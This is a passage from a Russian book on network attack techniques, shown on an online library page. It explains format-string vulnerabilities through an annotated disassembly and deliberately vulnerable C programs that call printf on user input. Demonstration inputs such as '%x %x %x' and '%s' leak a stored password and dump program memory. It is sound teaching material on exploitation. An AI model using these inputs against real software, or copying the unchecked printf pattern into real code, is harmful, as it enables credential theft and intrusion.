- Любовные романы
- Фантастика и фэнтези
- Ненаучная фантастика
- Ироническое фэнтези
- Научная Фантастика
- Фэнтези
- Ужасы и Мистика
- Боевая фантастика
- Альтернативная история
- Космическая фантастика
- Попаданцы
- Юмористическая фантастика
- Героическая фантастика
- Детективная фантастика
- Социально-психологическая
- Боевое фэнтези
- Русское фэнтези
- Киберпанк
- Романтическая фантастика
- Городская фантастика
- Технофэнтези
- Мистика
- Разная фантастика
- Иностранное фэнтези
- Историческое фэнтези
- LitRPG
- Эпическая фантастика
- Зарубежная фантастика
- Городское фентези
- Космоопера
- Разное фэнтези
- Книги магов
- Любовное фэнтези
- Постапокалипсис
- Бизнес
- Историческая фантастика
- Социально-философская фантастика
- Сказочная фантастика
- Стимпанк
- Романтическое фэнтези
- Ироническая фантастика
- Детективы и Триллеры
- Проза
- Юмор
- Феерия
- Новелла
- Русская классическая проза
- Современная проза
- Повести
- Контркультура
- Русская современная проза
- Историческая проза
- Проза
- Классическая проза
- Советская классическая проза
- О войне
- Зарубежная современная проза
- Рассказы
- Зарубежная классика
- Очерки
- Антисоветская литература
- Магический реализм
- Разное
- Сентиментальная проза
- Афоризмы
- Эссе
- Эпистолярная проза
- Семейный роман/Семейная сага
- Поэзия, Драматургия
- Приключения
- Детская литература
- Загадки
- Книга-игра
- Детская проза
- Детские приключения
- Сказка
- Прочая детская литература
- Детская фантастика
- Детские стихи
- Детская образовательная литература
- Детские остросюжетные
- Учебная литература
- Зарубежные детские книги
- Детский фольклор
- Буквари
- Книги для подростков
- Школьные учебники
- Внеклассное чтение
- Книги для дошкольников
- Детская познавательная и развивающая литература
- Детские детективы
- Домоводство, Дом и семья
- Юмор
- Документальные книги
- Бизнес
- Работа с клиентами
- Тайм-менеджмент
- Кадровый менеджмент
- Экономика
- Менеджмент и кадры
- Управление, подбор персонала
- О бизнесе популярно
- Интернет-бизнес
- Личные финансы
- Делопроизводство, офис
- Маркетинг, PR, реклама
- Поиск работы
- Бизнес
- Банковское дело
- Малый бизнес
- Ценные бумаги и инвестиции
- Краткое содержание
- Бухучет и аудит
- Ораторское искусство / риторика
- Корпоративная культура, бизнес
- Финансы
- Государственное и муниципальное управление
- Менеджмент
- Зарубежная деловая литература
- Продажи
- Переговоры
- Личная эффективность
- Торговля
- Научные и научно-популярные книги
- Биофизика
- География
- Экология
- Биохимия
- Рефераты
- Культурология
- Техническая литература
- История
- Психология
- Медицина
- Прочая научная литература
- Юриспруденция
- Биология
- Политика
- Литературоведение
- Религиоведение
- Научпоп
- Психология, личное
- Математика
- Психотерапия
- Социология
- Воспитание детей, педагогика
- Языкознание
- Беременность, ожидание детей
- Транспорт, военная техника
- Детская психология
- Науки: разное
- Педагогика
- Зарубежная психология
- Иностранные языки
- Филология
- Радиотехника
- Деловая литература
- Физика
- Альтернативная медицина
- Химия
- Государство и право
- Обществознание
- Образовательная литература
- Учебники
- Зоология
- Архитектура
- Науки о космосе
- Ботаника
- Астрология
- Ветеринария
- История Европы
- География
- Зарубежная публицистика
- О животных
- Шпаргалки
- Разная литература
- Зарубежная литература о культуре и искусстве
- Пословицы, поговорки
- Боевые искусства
- Прочее
- Периодические издания
- Фанфик
- Военное
- Цитаты из афоризмов
- Гиды, путеводители
- Литература 19 века
- Зарубежная образовательная литература
- Военная история
- Кино
- Современная литература
- Военная техника, оружие
- Культура и искусство
- Музыка, музыканты
- Газеты и журналы
- Современная зарубежная литература
- Визуальные искусства
- Отраслевые издания
- Шахматы
- Недвижимость
- Великолепные истории
- Музыка, танцы
- Авто и ПДД
- Изобразительное искусство, фотография
- Истории из жизни
- Готические новеллы
- Начинающие авторы
- Спецслужбы
- Подростковая литература
- Зарубежная прикладная литература
- Религия и духовность
- Старинная литература
- Справочная литература
- Компьютеры и Интернет
- Блог
ТЕХНИКА СЕТЕВЫХ АТАК - Крис Касперский
Шрифт:
Интервал:
Закладка:
·.text:0040104A ;Вызов printf(“Login:”)
·.text:0040104F add esp, 4
·.text:0040104F ; Балансировка стека
·.text:00401052 push offset off_0_407090
·.text:00401052 ; Заталкивание в стек указателя на манипулятор stdin
·.text:00401057 push 0Ch
·.text:00401057 ; Заталкивание в стек константы 0xC
·.text:00401059 lea edx, [ebp+var_10]
·.text:00401059 ; Занесение в регистр EDX указателя на буфер var_10 (user)
·.text:0040105C push edx
·.text:0040105C ; Заталкивание его в стек
·.text:0040105D call _fgets
·.text:0040105D ; Вызов ( amp;user[0],0xC,stdin)
·.text:00401062 add esp, 0Ch
·.text:00401062 ; Балансировка стека
·.text:00401065 push offset aPassw; "Passw:"
·.text:00401065 ; Заталкивание в стек указателя на строку Passw
·.text:0040106A call _printf
·.text:0040106A ; Вызов printf(“Passw:”)
·.text:0040106F add esp, 4
·.text:0040106F ; Балансировка стека
·.text:00401072 push offset off_0_407090
·.text:00401072 ;Заталкивание в стек указателя на манипулятор stdin
·.text:00401077 push 0Ch
·.text:00401077 ; Заталкивание в стек константы 0xC
·.text:00401079 lea eax, [ebp+var_44]
·.text:00401079 ; Занесение в регистр EAX указателя на буфер var_44 (pass)
·.text:0040107C push eax
·.text:0040107C ; Заталкивание его в стек
·.text:0040107D call _fgets
·.text:0040107D ; fgest( amp;pass[0],0xC,stdin)
·.text:00401082 add esp, 0Ch
·.text:00401082 ; Балансировка стека
·.text:00401085 lea ecx, [ebp+var_54]
·.text:00401085 ; Занесение в регистр ECX указателя на буфер var_54 (_pass)
·.text:00401088 push ecx
·.text:00401088 ; Заталкивание его в стек
·.text:00401089 lea edx, [ebp+var_44]
·.text:00401089 ; Занесение в регистр EDX указателя на буфер var_54 (pass)
·.text:0040108C push edx
·.text:0040108C ; Заталкивание его в стек
·.text:0040108D call _strcmp
·.text:0040108D ; Вызов strcmp( amp;_pass[0], amp;pass[0])
·.text:00401092 add esp, 8
·.text:00401092 ; Балансировка стека
·.text:00401095 test eax, eax
·.text:00401095 ; Введен правильный пароль?
·.text:00401097 jz short loc_0_4010B0
·.text:00401097; Переход, если введен правильный пароль
·.text:00401099 lea eax, [ebp+var_44]
·.text:00401099 ; Занесение в регистр EAX указателя на буфер var_44 (pass)
·.text:0040109C push eax
·.text:0040109C ; Заталкивание его в стек
·.text:0040109D push offset aInvalidPasswor; "Invalid password: %s"
·.text:0040109D ; Заталкивание в стек указателя на строку “Invalid password: %s”
·.text:004010A2 lea ecx, [ebp+var_34]
·.text:004010A2 ; Занесение в регистр ECX указателя на буфер var_34 (buff)
·.text:004010A5 push ecx
·.text:004010A5 ; Заталкивание его в стек
·.text:004010A6 call _sprintf
·.text:004010A6 ; Вызов sprintf( amp;buff[0],”Invalid password: %s”, amp;pass[0])
·.text:004010AB add esp, 0Ch
·.text:004010AB; Балансировка стека
·.text:004010AE jmp short loc_0_4010C1
·.text:004010B0; ---------------------------------------------------------------------------
·.text:004010B0
·.text:004010B0 loc_0_4010B0:; CODE XREF: main+97j
·.text:004010B0 push offset aPasswordOk; "Password okn"
·.text:004010B0; Заталкивание в стек указателя на строку “Password ok”
·.text:004010B5 lea edx, [ebp+var_34]
·.text:004010B5 ; Занесение в регистр EDX указателя на начало буфера var_34 (buff)
·.text:004010B8 push edx
·.text:004010B8 ; Заталкивание его в стек
·.text:004010B9 call _sprintf
·.text:004010B9 ; Вызов spritnf( amp;buff[0],”Password okn”);
·.text:004010BE add esp, 8
·.text:004010BE ; Балансировка стека
·.text:004010C1
·.text:004010C1 loc_0_4010C1:; CODE XREF: main+AEj
·.text:004010C1 lea eax, [ebp+var_34]
·.text:004010C1 ; Занесение в регистр EAX указателя на начало буфера var_34 (buff)
·.text:004010C4 push eax
·.text:004010C4 ; Заталкивание его в стек
·.text:004010C4 ; Состояние стека (жирным шрифтом выделен аргумент функции printf)
·.text:004010C4; -0x04 var_34 (buff)
·.text:004010C4; 0x00 var_54 (_pass)
·.text:004010C4; -0x10 var_44 (pass)
·.text:004010C4; -0x20 var_34 (buff)
·.text:004010C4; -0x40 var_14 (psw)
·.text:004010C4; -0x44 var_10 (user)
·.text:004010C5 call _printf
·.text:004010C5 ; Вызов printf( amp;buff[0])
·.text:004010CA add esp, 4
·.text:004010CA ; Балансировка стека
·.text:004010CD
·.text:004010CD loc_0_4010CD:; CODE XREF: main+2Ej
·.text:004010CD mov esp, ebp
·.text:004010CD ; Закрытие кадра стека, освобождение локальных переменных
·.text:004010CF pop ebp
·.text:004010CF ; Восстановление регистр EBP
·.text:004010D0 retn
·.text:004010D0 ; Выход из-под программы
·.text:004010D0 main endp
·Таким образом, состояние стека на момент вызова функции pritnf следующее (передаваемый аргумент выделен жирным шрифтом):
· -0x04 var_34 (buff)
· 0x00 var_54 (_pass)
· -0x10 var_44 (pass)
· -0x20 var_34 (buff)
· -0x40 var_14 (psw)
· -0x44 var_10 (user)
Если спецификаторов окажется больше, чем параметров, то функция начнет читать… содержимое буфера, в котором находится оригинальный пароль! По чистой случайности он оказался на верхушке стека, но даже если бы он был расположен ниже, это бы не изменило положения вещей, поскольку функции “printf “доступен весь кадр стека.
В программе функция вызывается без спецификаторов «printf( amp;buff[0])», но, ей передается указатель на начало буфера buff, который содержит сырую, не фильтрованную строку, введенную пользователем в качестве пароля, а она может содержать все что угодно, в том числе и спецификаторы.
Следующий эксперимент демонстрирует, как можно использовать такую ошибку программиста для проникновения в систему (то есть, подсматривания эталонного пароля, считанного из файла):
· buff.printf.exe
· printf bug demo
· Login:kpnc
· Passw:%x %x %x
· Invalid password: 5038394b a2a4e 2f4968
Для «расшифровки» ответа программы необходимо перевернуть каждое двойное слово, поскольку в микропроцессорах Intel младшие байты располагаются по меньшим адресам. В результате этого получается следующее:
Рисунок 017.txt Расшифровка ответа программыТаким образом, искомый пароль равен “K98PN*”. Если ввести его в программу (с соблюдением регистра), то результат ее работы должен выглядеть так:
· buff.printf.exe
· printf bug demo
· Login:kpnc
· Passw:K98PN*
· Password ok
Попытка использования спецификатора “%s” приведет вовсе не к выводу строки в удобно читаемом виде, а аварийному завершению приложения. Это продемонстрировано на рисунке, приведенном ниже:
Рисунок 075 Реакция системы на использование спецификатора %sТакое поведение объясняется тем, что функция, встретив спецификатор “%s”, ожидает увидеть указатель на строку, а не саму строку. Поэтому, происходит попытка обращения по адресу 0x5038384B (“K98PN” в символьном представлении), который находится вне пределов досягаемости программы, что и вызывает исключение.
Спецификатор “%s” пригоден для отображения содержимого указателей, которые так же встречаются в программах. Это можно продемонстрировать с помощью следующего примера [318] (на диске, прилагаемом к книге, он содержится в файле “/SRC/buff.printf.%s.c”):
· #include «stdio.h»· #include «string.h»· #include «malloc.h»·· void main()· {· FILE *f;· char *pass;· char *_pass;· pass= (char *)malloc(100);· _pass=(char *)malloc(100);· if (!(f=fopen("buff.psw","r"))) return;· fgets(_pass,100,f);· _pass[strlen(_pass)-1]=0;· printf("Passw:");fgets(pass,100,stdin);· pass[strlen(pass)-1]=0;· //…· printf(pass);·}
На этот раз буфера размещены не в стеке, а в куче, области памяти выделенной функцией malloc, и в стеке считанного пароля уже не содержится. Однако вместо самого буфера в стеке находится указатель на него! Используя спецификатор “%s”, можно вывести на экран строку, расположенную по этому адресу. Например, это можно сделать так:
· buff.printf.%s.exe· Passw:%s· K98PN*
Кроме того, с помощью спецификатора “%s” можно получить даже код (и данные) самой программы! Другими словами, существует возможность прочитать содержимое любой ячейки памяти, доступной программе. Это происходит в том случе, когда строка, введенная пользователем, помещается в стек (а это происходит очень часто). Пример, приведенный ниже, как раз и иллюстрирует такую возможность (на диске, прилагаемом к книге, он находится в файле “/SRC/buff.pritnf.dump.c”):
· #include «stdio.h»· #include «string.h»·· void main()· {· char buff[16];· printf("printf dump demon");· printf("Login:");· fgets( amp;buff[0],12,stdin);· buff[strlen(buff)-1]=0;· printf(buff);·}·
Строка “%x%sXXXX” выдаст на экран строку, расположенную по адресу “XXXX”. Спецификатор “%x” необходим, чтобы пропустить четыре байта, в которых расположена подстрока “%x%s”. На сам же адрес “XXXX” наложены некоторые ограничения. Так, например, с клавиатуры невозможно ввести символ с кодом нуля.
Следующий пример выдает на экран содержимое памяти, начиная с адреса 0x401001 в виде строки (то есть, до тех пор, пока не встретится нуль, обозначающий завершение строки). Примечательно, что для ввода символов с кодами 0x1, 0x10 и 0x40 оказывается вполне достаточно клавиши Ctrl.
· buff.printf.dump.exe
· printf dump demo
· Login:%x%s^A^[email protected]
· 73257825ЛьГь>h0`@O>@
Четыре первые байта ответа программы выданы спецификатором “%x", а последние представляют собой введенный указатель. А сама строка расположена с пятого по тринадцатый байт. Если ее записать в файл и дизассемблировать, например, с помощью qview, то получится следующее (последний байт очевидно равен нулю, поскольку именно он послужил концом строки):

